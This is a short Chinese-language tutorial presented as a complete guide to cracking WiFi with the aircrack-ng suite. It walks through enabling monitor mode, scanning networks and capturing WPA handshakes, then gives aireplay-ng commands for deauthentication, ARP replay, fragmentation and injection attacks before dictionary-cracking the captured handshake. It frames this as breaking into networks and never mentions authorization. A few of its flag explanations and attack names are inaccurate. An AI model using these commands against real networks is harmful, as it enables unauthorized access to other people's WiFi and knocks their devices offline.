**aircrack完整使用方法（破wifi）**

# 1.ifconfig查看是否有无线网卡

## 2.确认网卡是否支持监听：

airmon-ng，如果看见wlan0，即支持

纯文本

# 3.开启此网卡的监听模式：

airmon-ng start wlan0  
然后使用ifconfig命令可以看见之前的wlan0变成了wlan0mon

纯文本

# 4.扫描周围wifi

airodump-ng wlan0mon

纯文本

# 5.监听指定wifi，查看在线情况，抓取握手包

airodump-ng -c 信道 - -bssid BSSID -w 保存文件名 wlan0mon

纯文本

# 6.开启新窗口，攻击指定wifi

## 6.1.无线网络攻击：退联攻击（Deauthentication Attack）

aireplay-ng -0 5 -a 目标BSSID -c 目标设备MAC地址 wlan0mon  
aireplay-ng -0 2 -a 目标BSSID wlan0mon  
aireplay-ng -0 0 -a 目标BSSID -p 60 wlan0mon

纯文本

* -0 5: 发送5个退联帧，即指定攻击次数
* -0 0 :持续攻击 -p60:60s后自动停止
* -a 目标BSSID: 指定目标Wi-Fi网络的BSSID。
* -c 目标设备MAC地址: 指定目标设备的MAC地址。
* wlan0mon: 无线网卡的监控模式接口名。

## 6.2. **无线网络攻击：ARP 欺骗攻击（ARP Replay Attack）**

此攻击类型利用之前捕获到的ARP数据包来进行欺骗。示例：

aireplay-ng -3 -b 目标BSSID -h 本地设备MAC地址 -x wlan0mon

纯文本

* -3: 启动 ARP 欺骗攻击。
* -b 目标BSSID: 指定目标Wi-Fi网络的BSSID。
* -h 本地设备MAC地址: 指定本地设备的MAC地址。
* wlan0mon: 无线网卡的监控模式接口名。
* -x ：指定攻击次数

## 6.3. **无线网络攻击：碰撞攻击（Fragmentation Attack）**

此攻击类型通过发送特制的分段数据包引发WEP加密的问题。示例：

aireplay-ng -5 -b 目标BSSID -h 本地设备MAC地址 wlan0mon

纯文本

* -5: 启动碰撞攻击。
* -b 目标BSSID: 指定目标Wi-Fi网络的BSSID。
* -h 本地设备MAC地址: 指定本地设备的MAC地址。
* wlan0mon: 无线网卡的监控模式接口名。
* -x ：指定攻击次数

## 6.4. **无线网络攻击：充实攻击（Injection Attack）**

此攻击类型旨在注入大量数据包，以便更快地收集WPA握手。示例：

aireplay-ng -9 -e 目标SSID -a 目标BSSID wlan0mon

纯文本

* -9: 启动充实攻击。
* -e 目标SSID: 指定目标Wi-Fi网络的SSID。
* -a 目标BSSID: 指定目标Wi-Fi网络的BSSID。
* wlan0mon: 无线网卡的监控模式接口名。

# 7.破密码

aircrack-ng -a2 -b BSSID -w 密码字典 抓包资源(一般是.cap文件)

纯文本

* -a2: 指定攻击模式为WPA-PSK（攻击模式2）。
* -b BSSID: 指定目标Wi-Fi网络的BSSID（MAC地址）。
* -w 密码字典: 指定密码字典文件的路径。该字典文件包含尝试破解的可能密码。
* 抓包资源(一般是.cap文件): 指定用于破解的抓包文件的路径，一般是.cap文件。